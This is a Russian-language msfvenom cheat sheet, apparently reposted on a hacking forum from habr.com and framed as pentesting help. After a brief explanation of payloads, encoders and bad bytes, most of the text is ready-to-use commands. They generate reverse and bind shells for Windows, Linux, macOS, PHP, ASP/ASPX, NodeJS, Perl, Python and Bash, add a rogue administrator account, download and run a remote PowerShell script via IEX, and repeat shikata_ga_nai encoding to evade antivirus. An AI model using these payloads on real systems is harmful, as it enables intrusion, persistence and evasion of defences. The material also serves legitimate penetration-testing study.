What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Удобные шпаргалки по Msfvenom

top

Light Weight
Депозит
$0
В этой статье мы продолжим интересную и полезную тему шпаргалок по различным инструментам для пентеста. Ранее мы уже рассмотрели тему различных полезностей для пентестера, которые могут пригодиться при проведении тестирования на проникновение. Сегодня мы продолжим эту тему, но говорить будем уже непосредственно о Msfvenom.

Msfvenom – это программа, которая комбинирует генерацию полезной нагрузки и кодирование. В настоящий момент данная утилита является частью фреймворка Metasploit. Полезной нагрузкой (payload) является код или часть фрагмент вредоносного кода, который непосредственно выполняет деструктивное действие: удаляет данные, шифрует данные, открывает подключение для хакера и т.д. Вредоносные программы также имеют overhead code (буквально «служебный код»), под которым понимается та часть кода, которая отвечает за доставку на атакуемую машину, самостоятельное распространения вредоносной программы или препятствует обнаружению. Важно понимать, что для атакующего payload это то, что необходимо доставить на узел жертвы, для того, чтобы реализовать атаку. Конечно, лучше всего, когда код полезной нагрузки написан самостоятельно, в таком случае меньше вероятность его обнаружения средствами защиты. Но при проведении пентеста это не всегда возможно, и в таком случае, для генерации готовых пейлоадов можно воспользоваться специальными инструментами, например фреймворком Metasploit.

Данный фреймворк уже содержит в себе множество различных инструментов для реализации различных атак, и с помощью утилиты Msfvenom можно без особых проблем быстро сгенерировать нужную полезную нагрузку.

Вот базовый формат команды утилиты msfvenom:
Код: Скопировать в буфер обмена
msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>
Здесь PAYLOAD это та самая полезная загрузка
ENCODER – это алгоритмы, с помощью которых можно попытаться скрыться от средств обнаружения.
FORMAT – форматы файлов, которые мы получаем на выходе, например exe, dll, elf.
ENCODE COUNT – количество итераций кодирования
LHOST – IP адрес узла, к которому нужно подключиться

Также, может использоваться ключ –a для указания нужной архитектуры

Посмотреть доступные полезные нагрузки можно с помощью:
Код: Скопировать в буфер обмена
msfvenom -l payloads

e02698eb51fbd7ab93a00d753f21a2ce.png


Кодировщики с помощью:
Код: Скопировать в буфер обмена
msfvenom -l encoders
А форматы с помощью:
Код: Скопировать в буфер обмена
msfvenom -l formats
Также, при генерации полезных нагрузок не стоит забывать о так называемых “плохих” байтах. Это байты, которые не должны использоваться в наших пейлоадах. Например, в случае, если в пейлоаде, передаваемом уязвимому приложению через параметр командной строки будет байт 0х00, то приложение решит что передача данных окончена и проигнорирует все байты, переданные после нулей. Аналогично, плохими байтами являются 0х0a и 0x0d, так как они используются для завершения строки и при построчном вводе, все последующие байты также будут отброшены.

Msfvenom нужно сообщить, какие байты являются плохими, для того, чтобы он не использовал их в сгенерированных пейлоадах. Сделать это можно с помощью параметра –b.

Например, для вышеупомянутых байтов значения этих параметров будут следующими:
Код: Скопировать в буфер обмена
-b "\x00\x0a\x0d"
На этом, полагаю, вводной теории по msfvenom будет достаточно и можно перейти непосредственно к полезностям.

Полезности для различных ОС​

Начнем с рассмотрения разных полезных команд для самой безопасной распространенной пользовательской ОС Windows. При проведении пентеста обычно требуется проверить возможности по созданию удаленного канала связи в атакуемую сеть. Как правило, для этого используют реверс шелл, то есть соединение инициируется машиной жертвы. Для создания такого пейлоада выполним следующую команду. LHOST и LPORT это соответственно адрес и порт на машине атакующего, к которой будет выполняться подключение
Код: Скопировать в буфер обмена
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
Прямой шелл используется значительно реже, так как для него машина атакующего и жертвы должна находиться в одной сети.
Код: Скопировать в буфер обмена
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
В процессе закрепления в системе пентестеру может потребоваться создать нового пользователя, сделать это можно с помощью следующей команды:
Код: Скопировать в буфер обмена
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
Если нам необходимо добавить пользователя в группу администраторов, то для этого можно выполнить следующую команду:
Код: Скопировать в буфер обмена
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators attacker /add" -f exe > pay.exe
Еще один способ внедрения в систему жертвы, это загрузка скриптов из внешних источников. В примере ниже мы создаем пейлоад, который после запуска открывает powershell, и с его помощью загружает с внешнего ресурса файл скрипта для последующего выполнения.
Код: Скопировать в буфер обмена
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
Для того, чтобы усложнить обнаружение, мы можем прибегнуть к помощи кодировщиков, как в примере ниже:
Код: Скопировать в буфер обмена
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
На этом мы завершим рассмотрение пейлоадов для Windows и посмотрим, как аналогичные задачи можно решить для Linux.

Здесь общий принцип построения команд аналогичен рассмотренyому ранее для прямого и обратного шелла. В качестве формата выходного файла у нас будет использоваться ELF.
Код: Скопировать в буфер обмена
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
Код: Скопировать в буфер обмена
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
Код: Скопировать в буфер обмена
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf

Продолжая тему шеллов для операционных систем рассмотрим также пейлоады для MacOS.
Код: Скопировать в буфер обмена
msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho
Код: Скопировать в буфер обмена
msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho

Полезности для веб​

Иногда уязвимости на веб ресурсах позволяют выполнить произвольный код и в таких случаях на помощью пентестеру приходят пейлоады для различных языков веб разработки. Например, если мы хотим организовать реверсивный шелл с помощью php скрипта, то нам необходимо выполнить следующую команду:
Код: Скопировать в буфер обмена
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php

В случае, если уязвимый ресурс использует Windows и ASP/x, то наш реверс шелл почти ничем не будет отличаться от приведенных ранее примеров для ОС Windows:
Код: Скопировать в буфер обмена
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
Код: Скопировать в буфер обмена
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx

Множество веб ресурсов используют NodeJS и здесь в общем случае для нашего пейлоада не потребуется никакой выходной формат
Код: Скопировать в буфер обмена
msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)

В результате на выходе мы получим следующий скрипт

0f5d1aeef599b054e6ed26d7bfc835b6.png


Скриптовые языки​

Завершая тему полезностей для msfvenom рассмотрим генерацию пейлоадов для основных скриптовых языков: Perl, Python и Bash.

По сути все три команды будут идентичны:
Код: Скопировать в буфер обмена
msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl
Код: Скопировать в буфер обмена
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
Код: Скопировать в буфер обмена
msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh

8a00fe8f6767ace5adf541fb499e3641.png


Заключение​

Msfvenom предлагает богатый функционал по генерации различных полезных нагрузок в различных форматах и кодировках. С его помощью пентестер может попытаться обойти достаточно современные средства обнаружения и защиты. В статье мы рассмотрели только самые основные полезные нагрузки и другие функции msfvenom, однако на практике функционал утилиты гораздо шире.

Автор @Andrey_Biryukov
Источник habr.com
 
Top